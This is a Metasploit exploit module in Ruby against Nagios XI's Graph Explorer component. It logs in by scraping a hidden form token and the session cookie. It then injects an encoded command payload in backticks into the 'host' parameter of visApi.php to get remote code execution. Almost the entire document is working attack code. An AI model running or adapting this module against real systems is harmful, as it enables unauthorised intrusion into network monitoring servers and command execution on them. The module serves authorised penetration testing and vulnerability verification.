Nagios XI Network Monitor Graph Explorer Component Command Injection

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Nagios XI Network Monitor Graph Explorer Component Command Injection",  
'Description' => %q{  
This module exploits a vulnerability found in Nagios XI Network Monitor's  
component 'Graph Explorer'. An authenticated user can execute system commands  
by injecting it in several parameters, such as in visApi.php's 'host' parameter,  
which results in remote code execution.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Daniel Compton <daniel.compton[at]ngssecure.com>', #Original discovery  
'sinn3r'  
],  
'References' =>  
[  
[ 'OSVDB', '83552' ],  
[ 'BID', '54263' ],  
[ 'URL', 'http://packetstormsecurity.org/files/118497/Nagios-XI-Network-Monitor-2011R1.9-OS-Command-Injection.html' ]  
],  
'Payload' =>  
{  
'BadChars' => "\x00\x0d\x0a",  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'generic perl python ruby bash telnet',  
}  
},  
'Platform' => ['unix'],  
'Arch' => ARCH_CMD,  
'Targets' =>  
[  
['Graph Explorer Component prior to 1.3', {}]  
],  
'Privileged' => false,  
'DisclosureDate' => "Nov 30 2012",  
'DefaultTarget' => 0))  
  
register_options(  
[  
# URI isn't registered, because this is set by the installer.  
OptString.new('USERNAME', [true, 'The username to login as', 'nagiosadmin']),  
OptString.new('PASSWORD', [true, 'The password to use'])  
], self.class)  
end  
  
  
def check  
res = send_request_raw({  
'method' => 'GET',  
'uri' => '/nagiosxi/includes/components/graphexplorer/visApi.php'  
})  
  
if res and res.code == 404  
print_error("Remote host does not have Graph Explorer installed.")  
elsif res and res.body =~ /Your session has timed out/  
return Exploit::CheckCode::Detected  
end  
  
return Exploit::CheckCode::Safe  
end  
  
def get_login_data  
res = send_request_cgi({'uri'=>'/nagiosxi/login.php'})  
return '' if !res  
  
nsp = res.body.scan(/<input type='hidden' name='nsp' value='(.+)'>/).flatten[0] || ''  
cookie = (res.headers['Set-Cookie'] || '').scan(/nagiosxi=(\w+); /).flatten[0] || ''  
return nsp, cookie  
end  
  
def is_loggedin(cookie)  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => '/nagiosxi/index.php',  
'cookie' => "nagiosxi=#{cookie}"  
})  
  
if res and res.body =~ /Logged in as: <a href=".+">#{datastore['USERNAME']}<\/a>/  
return true  
else  
return false  
end  
end  
  
def login(nsp, cookie)  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => '/nagiosxi/login.php',  
'cookie' => "nagiosxi=#{cookie}",  
'vars_post' => {  
'nsp' => nsp,  
'page' => 'auth',  
'debug' => '',  
'pageopt' => 'login',  
'username' => datastore['USERNAME'],  
'password' => datastore['PASSWORD'],  
'loginButton' => 'Login'  
},  
'headers' => {  
'Origin' => "http://#{rhost}",  
'Referer' => "http://#{rhost}/nagiosxi/login.php"  
}  
})  
  
return is_loggedin(cookie)  
end  
  
def exploit  
nsp, cookie = get_login_data  
if nsp.empty?  
print_error("Unable to retrieve hidden value 'nsp'")  
return false  
end  
  
if login(nsp, cookie)  
print_status("Logged in as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'")  
else  
print_error("Failed to login as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'")  
return  
end  
  
print_status("Sending Command injection")  
send_request_cgi({  
'method' => 'GET',  
'uri' => '/nagiosxi/includes/components/graphexplorer/visApi.php',  
'cookie' => "nagiosxi=#{cookie}",  
'vars_get' => {  
'type' => 'stack',  
'host' => "localhost`#{payload.encoded}`",  
'service' => 'Swap_Usage',  
'div' => 'visContainer1566841654',  
'opt' => 'days'  
}  
})  
end  
  
  
end  
`